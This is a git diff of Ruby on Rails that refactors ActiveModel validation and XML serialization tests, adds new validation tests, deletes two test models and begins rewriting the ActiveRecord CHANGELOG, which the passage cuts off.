diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
index 901f42f29b..5db14c8157 100644
--- a/activemodel/test/cases/serializers/xml_serialization_test.rb
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -53,53 +53,52 @@ class XmlSerializationTest < ActiveModel::TestCase
@contact.address.city = "Springfield"
@contact.address.apt_number = 35
@contact.friends = [Contact.new, Contact.new]
- @related_contact = SerializableContact.new
- @contact.contact = @related_contact
+ @contact.contact = SerializableContact.new
end
test "should serialize default root" do
- @xml = @contact.to_xml
- assert_match %r{^<contact>}, @xml
- assert_match %r{</contact>$}, @xml
+ xml = @contact.to_xml
+ assert_match %r{^<contact>}, xml
+ assert_match %r{</contact>$}, xml
end
test "should serialize namespaced root" do
- @xml = Admin::Contact.new(@contact.attributes).to_xml
- assert_match %r{^<contact>}, @xml
- assert_match %r{</contact>$}, @xml
+ xml = Admin::Contact.new(@contact.attributes).to_xml
+ assert_match %r{^<contact>}, xml
+ assert_match %r{</contact>$}, xml
end
test "should serialize default root with namespace" do
- @xml = @contact.to_xml namespace: "http://xml.rubyonrails.org/contact"
- assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, @xml
- assert_match %r{</contact>$}, @xml
+ xml = @contact.to_xml namespace: "http://xml.rubyonrails.org/contact"
+ assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, xml
+ assert_match %r{</contact>$}, xml
end
test "should serialize custom root" do
- @xml = @contact.to_xml root: 'xml_contact'
- assert_match %r{^<xml-contact>}, @xml
- assert_match %r{</xml-contact>$}, @xml
+ xml = @contact.to_xml root: 'xml_contact'
+ assert_match %r{^<xml-contact>}, xml
+ assert_match %r{</xml-contact>$}, xml
end
test "should allow undasherized tags" do
- @xml = @contact.to_xml root: 'xml_contact', dasherize: false
- assert_match %r{^<xml_contact>}, @xml
- assert_match %r{</xml_contact>$}, @xml
- assert_match %r{<created_at}, @xml
+ xml = @contact.to_xml root: 'xml_contact', dasherize: false
+ assert_match %r{^<xml_contact>}, xml
+ assert_match %r{</xml_contact>$}, xml
+ assert_match %r{<created_at}, xml
end
test "should allow camelized tags" do
- @xml = @contact.to_xml root: 'xml_contact', camelize: true
- assert_match %r{^<XmlContact>}, @xml
- assert_match %r{</XmlContact>$}, @xml
- assert_match %r{<CreatedAt}, @xml
+ xml = @contact.to_xml root: 'xml_contact', camelize: true
+ assert_match %r{^<XmlContact>}, xml
+ assert_match %r{</XmlContact>$}, xml
+ assert_match %r{<CreatedAt}, xml
end
test "should allow lower-camelized tags" do
- @xml = @contact.to_xml root: 'xml_contact', camelize: :lower
- assert_match %r{^<xmlContact>}, @xml
- assert_match %r{</xmlContact>$}, @xml
- assert_match %r{<createdAt}, @xml
+ xml = @contact.to_xml root: 'xml_contact', camelize: :lower
+ assert_match %r{^<xmlContact>}, xml
+ assert_match %r{</xmlContact>$}, xml
+ assert_match %r{<createdAt}, xml
end
test "should use serializable hash" do
@@ -107,22 +106,22 @@ class XmlSerializationTest < ActiveModel::TestCase
@contact.name = 'aaron stack'
@contact.age = 25
- @xml = @contact.to_xml
- assert_match %r{<name>aaron stack</name>}, @xml
- assert_match %r{<age type="integer">25</age>}, @xml
- assert_no_match %r{<awesome>}, @xml
+ xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, xml
+ assert_match %r{<age type="integer">25</age>}, xml
+ assert_no_match %r{<awesome>}, xml
end
test "should allow skipped types" do
- @xml = @contact.to_xml skip_types: true
- assert_match %r{<age>25</age>}, @xml
+ xml = @contact.to_xml skip_types: true
+ assert_match %r{<age>25</age>}, xml
end
test "should include yielded additions" do
- @xml = @contact.to_xml do |xml|
+ xml_output = @contact.to_xml do |xml|
xml.creator "David"
end
- assert_match %r{<creator>David</creator>}, @xml
+ assert_match %r{<creator>David</creator>}, xml_output
end
test "should serialize string" do
@@ -130,7 +129,7 @@ class XmlSerializationTest < ActiveModel::TestCase
end
test "should serialize nil" do
- assert_match %r{<pseudonyms nil=\"true\"/>}, @contact.to_xml(methods: :pseudonyms)
+ assert_match %r{<pseudonyms nil="true"/>}, @contact.to_xml(methods: :pseudonyms)
end
test "should serialize integer" do
@@ -138,23 +137,23 @@ class XmlSerializationTest < ActiveModel::TestCase
end
test "should serialize datetime" do
- assert_match %r{<created-at type=\"dateTime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
+ assert_match %r{<created-at type="dateTime">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
end
test "should serialize boolean" do
- assert_match %r{<awesome type=\"boolean\">false</awesome>}, @contact.to_xml
+ assert_match %r{<awesome type="boolean">false</awesome>}, @contact.to_xml
end
test "should serialize array" do
- assert_match %r{<social type=\"array\">\s*<social>twitter</social>\s*<social>github</social>\s*</social>}, @contact.to_xml(methods: :social)
+ assert_match %r{<social type="array">\s*<social>twitter</social>\s*<social>github</social>\s*</social>}, @contact.to_xml(methods: :social)
end
test "should serialize hash" do
- assert_match %r{<network>\s*<git type=\"symbol\">github</git>\s*</network>}, @contact.to_xml(methods: :network)
+ assert_match %r{<network>\s*<git type="symbol">github</git>\s*</network>}, @contact.to_xml(methods: :network)
end
test "should serialize yaml" do
- assert_match %r{<preferences type=\"yaml\">--- !ruby/struct:Customer(\s*)\nname: John\n</preferences>}, @contact.to_xml
+ assert_match %r{<preferences type="yaml">--- !ruby/struct:Customer(\s*)\nname: John\n</preferences>}, @contact.to_xml
end
test "should call proc on object" do
@@ -163,7 +162,7 @@ class XmlSerializationTest < ActiveModel::TestCase
assert_match %r{<nationality>unknown</nationality>}, xml
end
- test 'should supply serializable to second proc argument' do
+ test "should supply serializable to second proc argument" do
proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) }
xml = @contact.to_xml(procs: [ proc ])
assert_match %r{<name-reverse>kcats noraa</name-reverse>}, xml
diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb
index deb4e1ed0a..cedc812ec7 100644
--- a/activemodel/test/cases/translation_test.rb
+++ b/activemodel/test/cases/translation_test.rb
@@ -7,6 +7,10 @@ class ActiveModelI18nTests < ActiveModel::TestCase
I18n.backend = I18n::Backend::Simple.new
end
+ def teardown
+ I18n.backend.reload!
+ end
+
def test_translated_model_attributes
I18n.backend.store_translations 'en', activemodel: { attributes: { person: { name: 'person name attribute' } } }
assert_equal 'person name attribute', Person.human_attribute_name('name')
diff --git a/activemodel/test/cases/validations/absence_validation_test.rb b/activemodel/test/cases/validations/absence_validation_test.rb
index c05d71de5a..795ce16d28 100644
--- a/activemodel/test/cases/validations/absence_validation_test.rb
+++ b/activemodel/test/cases/validations/absence_validation_test.rb
@@ -6,9 +6,9 @@ require 'models/custom_reader'
class AbsenceValidationTest < ActiveModel::TestCase
teardown do
- Topic.reset_callbacks(:validate)
- Person.reset_callbacks(:validate)
- CustomReader.reset_callbacks(:validate)
+ Topic.clear_validators!
+ Person.clear_validators!
+ CustomReader.clear_validators!
end
def test_validate_absences
diff --git a/activemodel/test/cases/validations/acceptance_validation_test.rb b/activemodel/test/cases/validations/acceptance_validation_test.rb
index dc413bef30..e78aa1adaf 100644
--- a/activemodel/test/cases/validations/acceptance_validation_test.rb
+++ b/activemodel/test/cases/validations/acceptance_validation_test.rb
@@ -8,7 +8,7 @@ require 'models/person'
class AcceptanceValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_terms_of_service_agreement_no_acceptance
@@ -63,6 +63,6 @@ class AcceptanceValidationTest < ActiveModel::TestCase
p.karma = "1"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
end
diff --git a/activemodel/test/cases/validations/conditional_validation_test.rb b/activemodel/test/cases/validations/conditional_validation_test.rb
index 41a4c33727..1261937b56 100644
--- a/activemodel/test/cases/validations/conditional_validation_test.rb
+++ b/activemodel/test/cases/validations/conditional_validation_test.rb
@@ -6,7 +6,7 @@ require 'models/topic'
class ConditionalValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_if_validation_using_method_true
@@ -23,7 +23,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true)
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_if_validation_using_method_false
@@ -31,7 +31,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true_but_its_not)
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_unless_validation_using_method_false
@@ -57,7 +57,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "a = 1; a == 1")
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_if_validation_using_string_false
@@ -65,7 +65,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "false")
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_unless_validation_using_string_false
@@ -93,7 +93,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
unless: Proc.new { |r| r.content.size > 4 })
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_if_validation_using_block_false
@@ -102,7 +102,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
if: Proc.new { |r| r.title != "uhohuhoh"})
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_unless_validation_using_block_false
@@ -124,7 +124,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
t = Topic.new
assert t.invalid?, "A topic without a title should not be valid"
- assert t.errors[:author_name].empty?, "A topic without an 'important' title should not require an author"
+ assert_empty t.errors[:author_name], "A topic without an 'important' title should not require an author"
t.title = "Just a title"
assert t.valid?, "A topic with a basic title should be valid"
diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb
index f03de2c24a..65a2a1eb49 100644
--- a/activemodel/test/cases/validations/confirmation_validation_test.rb
+++ b/activemodel/test/cases/validations/confirmation_validation_test.rb
@@ -7,7 +7,7 @@ require 'models/person'
class ConfirmationValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_no_title_confirmation
@@ -49,26 +49,29 @@ class ConfirmationValidationTest < ActiveModel::TestCase
p.karma = "None"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_title_confirmation_with_i18n_attribute
- @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
- I18n.load_path.clear
- I18n.backend = I18n::Backend::Simple.new
- I18n.backend.store_translations('en', {
- errors: { messages: { confirmation: "doesn't match %{attribute}" } },
- activemodel: { attributes: { topic: { title: 'Test Title'} } }
- })
-
- Topic.validates_confirmation_of(:title)
-
- t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
- assert t.invalid?
- assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
-
- I18n.load_path.replace @old_load_path
- I18n.backend = @old_backend
+ begin
+ @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+ I18n.load_path.clear
+ I18n.backend = I18n::Backend::Simple.new
+ I18n.backend.store_translations('en', {
+ errors: { messages: { confirmation: "doesn't match %{attribute}" } },
+ activemodel: { attributes: { topic: { title: 'Test Title'} } }
+ })
+
+ Topic.validates_confirmation_of(:title)
+
+ t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
+ assert t.invalid?
+ assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
+ ensure
+ I18n.load_path.replace @old_load_path
+ I18n.backend = @old_backend
+ I18n.backend.reload!
+ end
end
test "does not override confirmation reader if present" do
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
index 81455ba519..1ce41f9bc9 100644
--- a/activemodel/test/cases/validations/exclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -7,7 +7,7 @@ require 'models/person'
class ExclusionValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_validates_exclusion_of
@@ -50,7 +50,7 @@ class ExclusionValidationTest < ActiveModel::TestCase
p.karma = "Lifo"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_validates_exclusion_of_with_lambda
@@ -87,6 +87,6 @@ class ExclusionValidationTest < ActiveModel::TestCase
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
index 26e8dbf19c..0f91b73cd7 100644
--- a/activemodel/test/cases/validations/format_validation_test.rb
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -7,7 +7,7 @@ require 'models/person'
class PresenceValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_validate_format
@@ -68,11 +68,11 @@ class PresenceValidationTest < ActiveModel::TestCase
assert t.invalid?
assert_equal ["can't be Invalid title"], t.errors[:title]
end
-
+
def test_validate_format_of_with_multiline_regexp_should_raise_error
assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: /^Valid Title$/) }
end
-
+
def test_validate_format_of_with_multiline_regexp_and_option
assert_nothing_raised(ArgumentError) do
Topic.validates_format_of(:title, with: /^Valid Title$/, multiline: true)
@@ -144,6 +144,6 @@ class PresenceValidationTest < ActiveModel::TestCase
p.karma = "1234"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
end
diff --git a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
index 40a5aee997..3eeb80a48b 100644
--- a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -4,7 +4,7 @@ require 'models/person'
class I18nGenerateMessageValidationTest < ActiveModel::TestCase
def setup
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
@person = Person.new
end
@@ -72,28 +72,40 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
end
# validates_length_of: generate_message(attr, :too_long, message: custom_message, count: option_value.end)
- def test_generate_message_too_long_with_default_message
+ def test_generate_message_too_long_with_default_message_plural
assert_equal "is too long (maximum is 10 characters)", @person.errors.generate_message(:title, :too_long, count: 10)
end
+ def test_generate_message_too_long_with_default_message_singular
+ assert_equal "is too long (maximum is 1 character)", @person.errors.generate_message(:title, :too_long, count: 1)
+ end
+
def test_generate_message_too_long_with_custom_message
assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_long, message: 'custom message %{count}', count: 10)
end
# validates_length_of: generate_message(attr, :too_short, default: custom_message, count: option_value.begin)
- def test_generate_message_too_short_with_default_message
+ def test_generate_message_too_short_with_default_message_plural
assert_equal "is too short (minimum is 10 characters)", @person.errors.generate_message(:title, :too_short, count: 10)
end
+ def test_generate_message_too_short_with_default_message_singular
+ assert_equal "is too short (minimum is 1 character)", @person.errors.generate_message(:title, :too_short, count: 1)
+ end
+
def test_generate_message_too_short_with_custom_message
assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_short, message: 'custom message %{count}', count: 10)
end
# validates_length_of: generate_message(attr, :wrong_length, message: custom_message, count: option_value)
- def test_generate_message_wrong_length_with_default_message
+ def test_generate_message_wrong_length_with_default_message_plural
assert_equal "is the wrong length (should be 10 characters)", @person.errors.generate_message(:title, :wrong_length, count: 10)
end
+ def test_generate_message_wrong_length_with_default_message_singular
+ assert_equal "is the wrong length (should be 1 character)", @person.errors.generate_message(:title, :wrong_length, count: 1)
+ end
+
def test_generate_message_wrong_length_with_custom_message
assert_equal 'custom message 10', @person.errors.generate_message(:title, :wrong_length, message: 'custom message %{count}', count: 10)
end
diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb
index e29771d6b7..96084a32ba 100644
--- a/activemodel/test/cases/validations/i18n_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_validation_test.rb
@@ -6,7 +6,7 @@ require 'models/person'
class I18nValidationTest < ActiveModel::TestCase
def setup
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
@person = Person.new
@old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
@@ -16,9 +16,10 @@ class I18nValidationTest < ActiveModel::TestCase
end
def teardown
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
I18n.load_path.replace @old_load_path
I18n.backend = @old_backend
+ I18n.backend.reload!
end
def test_full_message_encoding
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
index 01a373d85d..3a8f3080e1 100644
--- a/activemodel/test/cases/validations/inclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -1,5 +1,6 @@
# encoding: utf-8
require 'cases/helper'
+require 'active_support/all'
require 'models/topic'
require 'models/person'
@@ -7,7 +8,7 @@ require 'models/person'
class InclusionValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_validates_inclusion_of_range
@@ -20,6 +21,27 @@ class InclusionValidationTest < ActiveModel::TestCase
assert Topic.new("title" => "bbb", "content" => "abc").valid?
end
+ def test_validates_inclusion_of_time_range
+ Topic.validates_inclusion_of(:created_at, in: 1.year.ago..Time.now)
+ assert Topic.new(title: 'aaa', created_at: 2.years.ago).invalid?
+ assert Topic.new(title: 'aaa', created_at: 3.months.ago).valid?
+ assert Topic.new(title: 'aaa', created_at: 37.weeks.from_now).invalid?
+ end
+
+ def test_validates_inclusion_of_date_range
+ Topic.validates_inclusion_of(:created_at, in: 1.year.until(Date.today)..Date.today)
+ assert Topic.new(title: 'aaa', created_at: 2.years.until(Date.today)).invalid?
+ assert Topic.new(title: 'aaa', created_at: 3.months.until(Date.today)).valid?
+ assert Topic.new(title: 'aaa', created_at: 37.weeks.since(Date.today)).invalid?
+ end
+
+ def test_validates_inclusion_of_date_time_range
+ Topic.validates_inclusion_of(:created_at, in: 1.year.until(DateTime.current)..DateTime.current)
+ assert Topic.new(title: 'aaa', created_at: 2.years.until(DateTime.current)).invalid?
+ assert Topic.new(title: 'aaa', created_at: 3.months.until(DateTime.current)).valid?
+ assert Topic.new(title: 'aaa', created_at: 37.weeks.since(DateTime.current)).invalid?
+ end
+
def test_validates_inclusion_of
Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ))
@@ -83,7 +105,7 @@ class InclusionValidationTest < ActiveModel::TestCase
p.karma = "monkey"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_validates_inclusion_of_with_lambda
@@ -120,6 +142,6 @@ class InclusionValidationTest < ActiveModel::TestCase
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
end
diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb
index 8b2f886cc4..046ffcb16f 100644
--- a/activemodel/test/cases/validations/length_validation_test.rb
+++ b/activemodel/test/cases/validations/length_validation_test.rb
@@ -6,7 +6,7 @@ require 'models/person'
class LengthValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_validates_length_of_with_allow_nil
@@ -354,7 +354,7 @@ class LengthValidationTest < ActiveModel::TestCase
p.karma = "The Smiths"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_validates_length_of_for_infinite_maxima
diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb
index 84332ed014..e1657407cf 100644
--- a/activemodel/test/cases/validations/numericality_validation_test.rb
+++ b/activemodel/test/cases/validations/numericality_validation_test.rb
@@ -9,7 +9,7 @@ require 'bigdecimal'
class NumericalityValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
NIL = [nil]
@@ -119,6 +119,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
invalid!([3, 4])
valid!([5, 6])
+ ensure
Topic.send(:remove_method, :min_approved)
end
@@ -128,6 +129,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
invalid!([6])
valid!([4, 5])
+ ensure
Topic.send(:remove_method, :max_approved)
end
@@ -157,7 +159,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
p.karma = "1234"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_validates_numericality_with_invalid_args
diff --git a/activemodel/test/cases/validations/presence_validation_test.rb b/activemodel/test/cases/validations/presence_validation_test.rb
index 2f228cfa83..ecf16d1e16 100644
--- a/activemodel/test/cases/validations/presence_validation_test.rb
+++ b/activemodel/test/cases/validations/presence_validation_test.rb
@@ -8,9 +8,9 @@ require 'models/custom_reader'
class PresenceValidationTest < ActiveModel::TestCase
teardown do
- Topic.reset_callbacks(:validate)
- Person.reset_callbacks(:validate)
- CustomReader.reset_callbacks(:validate)
+ Topic.clear_validators!
+ Person.clear_validators!
+ CustomReader.clear_validators!
end
def test_validate_presences
diff --git a/activemodel/test/cases/validations/validates_test.rb b/activemodel/test/cases/validations/validates_test.rb
index c1914b32bc..699a872e42 100644
--- a/activemodel/test/cases/validations/validates_test.rb
+++ b/activemodel/test/cases/validations/validates_test.rb
@@ -11,9 +11,9 @@ class ValidatesTest < ActiveModel::TestCase
teardown :reset_callbacks
def reset_callbacks
- Person.reset_callbacks(:validate)
- Topic.reset_callbacks(:validate)
- PersonWithValidator.reset_callbacks(:validate)
+ Person.clear_validators!
+ Topic.clear_validators!
+ PersonWithValidator.clear_validators!
end
def test_validates_with_messages_empty
diff --git a/activemodel/test/cases/validations/validations_context_test.rb b/activemodel/test/cases/validations/validations_context_test.rb
index 5f99b320a6..005bf118c6 100644
--- a/activemodel/test/cases/validations/validations_context_test.rb
+++ b/activemodel/test/cases/validations/validations_context_test.rb
@@ -4,10 +4,8 @@ require 'cases/helper'
require 'models/topic'
class ValidationsContextTest < ActiveModel::TestCase
-
def teardown
- Topic.reset_callbacks(:validate)
- Topic._validators.clear
+ Topic.clear_validators!
end
ERROR_MESSAGE = "Validation error from validator"
@@ -36,4 +34,17 @@ class ValidationsContextTest < ActiveModel::TestCase
assert topic.invalid?(:create), "Validation does run on create if 'on' is set to create"
assert topic.errors[:base].include?(ERROR_MESSAGE)
end
+
+ test "with a class that adds errors on multiple contexts and validating a new model" do
+ Topic.validates_with(ValidatorThatAddsErrors, on: [:context1, :context2])
+
+ topic = Topic.new
+ assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
+
+ assert topic.invalid?(:context1), "Validation did not run on context1 when 'on' is set to context1 and context2"
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+
+ assert topic.invalid?(:context2), "Validation did not run on context2 when 'on' is set to context1 and context2"
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+ end
end
diff --git a/activemodel/test/cases/validations/with_validation_test.rb b/activemodel/test/cases/validations/with_validation_test.rb
index 93716f1433..736c2deea8 100644
--- a/activemodel/test/cases/validations/with_validation_test.rb
+++ b/activemodel/test/cases/validations/with_validation_test.rb
@@ -6,8 +6,7 @@ require 'models/topic'
class ValidatesWithTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
- Topic._validators.clear
+ Topic.clear_validators!
end
ERROR_MESSAGE = "Validation error from validator"
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
index 039b6b8872..6a74ee353d 100644
--- a/activemodel/test/cases/validations_test.rb
+++ b/activemodel/test/cases/validations_test.rb
@@ -10,17 +10,10 @@ require 'active_support/json'
require 'active_support/xml_mini'
class ValidationsTest < ActiveModel::TestCase
-
class CustomStrictValidationException < StandardError; end
- def setup
- Topic._validators.clear
- end
-
- # Most of the tests mess with the validations of Topic, so lets repair it all the time.
- # Other classes we mess with will be dealt with in the specific tests
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_single_field_validation
@@ -146,6 +139,8 @@ class ValidationsTest < ActiveModel::TestCase
assert_equal 4, hits
assert_equal %w(gotcha gotcha), t.errors[:title]
assert_equal %w(gotcha gotcha), t.errors[:content]
+ ensure
+ CustomReader.clear_validators!
end
def test_validate_block
@@ -291,14 +286,24 @@ class ValidationsTest < ActiveModel::TestCase
auto = Automobile.new
assert auto.invalid?
- assert_equal 2, auto.errors.size
+ assert_equal 3, auto.errors.size
auto.make = 'Toyota'
auto.model = 'Corolla'
+ auto.approved = '1'
assert auto.valid?
end
+ def test_validate
+ auto = Automobile.new
+
+ assert_empty auto.errors
+
+ auto.validate
+ assert_not_empty auto.errors
+ end
+
def test_strict_validation_in_validates
Topic.validates :title, strict: true, presence: true
assert_raises ActiveModel::StrictValidationFailed do
diff --git a/activemodel/test/models/administrator.rb b/activemodel/test/models/administrator.rb
deleted file mode 100644
index 2f3aff290c..0000000000
--- a/activemodel/test/models/administrator.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Administrator
- extend ActiveModel::Callbacks
- include ActiveModel::Validations
- include ActiveModel::SecurePassword
-
- define_model_callbacks :create
-
- attr_accessor :name, :password_digest
-
- has_secure_password
-end
diff --git a/activemodel/test/models/automobile.rb b/activemodel/test/models/automobile.rb
index ece644c40c..4df2fe8b3a 100644
--- a/activemodel/test/models/automobile.rb
+++ b/activemodel/test/models/automobile.rb
@@ -3,10 +3,11 @@ class Automobile
validate :validations
- attr_accessor :make, :model
+ attr_accessor :make, :model, :approved
def validations
validates_presence_of :make
validates_length_of :model, within: 2..10
+ validates_acceptance_of :approved, allow_nil: false
end
end
diff --git a/activemodel/test/models/oauthed_user.rb b/activemodel/test/models/oauthed_user.rb
deleted file mode 100644
index 9750bc19d4..0000000000
--- a/activemodel/test/models/oauthed_user.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class OauthedUser
- extend ActiveModel::Callbacks
- include ActiveModel::Validations
- include ActiveModel::SecurePassword
-
- define_model_callbacks :create
-
- has_secure_password(validations: false)
-
- attr_accessor :password_digest, :password_salt
-end
diff --git a/activemodel/test/models/topic.rb b/activemodel/test/models/topic.rb
index c9af78f595..1411a093e9 100644
--- a/activemodel/test/models/topic.rb
+++ b/activemodel/test/models/topic.rb
@@ -6,7 +6,7 @@ class Topic
super | [ :message ]
end
- attr_accessor :title, :author_name, :content, :approved
+ attr_accessor :title, :author_name, :content, :approved, :created_at
attr_accessor :after_validation_performed
after_validation :perform_after_validation
diff --git a/activemodel/test/models/user.rb b/activemodel/test/models/user.rb
index 4b11df12bf..cbe259b1ad 100644
--- a/activemodel/test/models/user.rb
+++ b/activemodel/test/models/user.rb
@@ -7,5 +7,5 @@ class User
has_secure_password
- attr_accessor :password_digest, :password_salt
+ attr_accessor :password_digest
end
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index 29853b2228..e51b5b44cc 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,324 +1,450 @@
-* Apply default scope when joining associations. For example:
+* Log nil binary column values correctly.
- class Post < ActiveRecord::Base
- default_scope -> { where published: true }
- end
+ When an object with a binary column is updated with a nil value
+ in that column, the SQL logger would throw an exception when trying
+ to log that nil value. This only occurs when updating a record
+ that already has a non-nil value in that column since an initial nil
+ value isn't included in the SQL anyway (at least, when dirty checking
+ is enabled.) The column's new value will now be logged as `<NULL binary data>`
+ to parallel the existing `<N bytes of binary data>` for non-nil values.
- class Comment
- belongs_to :post
- end
+ *James Coleman*
- When calling `Comment.joins(:post)`, we expect to receive only
- comments on published posts, since that is the default scope for
- posts.
+* Rails will now pass a custom validation context through to autosave associations
+ in order to validate child associations with the same context.
- Before this change, the default scope from `Post` was not applied,
- so we'd get comments on unpublished posts.
+ Fixes #13854.
- *Jon Leighton*
+ *Eric Chahin*, *Aaron Nelson*, *Kevin Casey*
-* Remove `activerecord-deprecated_finders` as a dependency
+* Stringify all variable keys of mysql connection configuration.
- *Łukasz Strzałkowski*
+ When the `sql_mode` variable for mysql adapters is set in the configuration
+ as a `String`, it was ignored and overwritten by the strict mode option.
-* Remove Oracle / Sqlserver / Firebird database tasks that were deprecated in 4.0.
+ Fixes #14895.
- *kennyj*
+ *Paul Nikitochkin*
-* `find_each` now returns an `Enumerator` when called without a block, so that it
- can be chained with other `Enumerable` methods.
+* Ensure SQLite3 statements are closed on errors.
- *Ben Woosley*
+ Fixes #13631.
-* `ActiveRecord::Result.each` now returns an `Enumerator` when called without
- a block, so that it can be chained with other `Enumerable` methods.
+ *Timur Alperovich*
- *Ben Woosley*
+* Give ActiveRecord::PredicateBuilder private methods the privacy they deserve.
-* Flatten merged join_values before building the joins.
+ *Hector Satre*
- While joining_values special treatment is given to string values.
- By flattening the array it ensures that string values are detected
- as strings and not arrays.
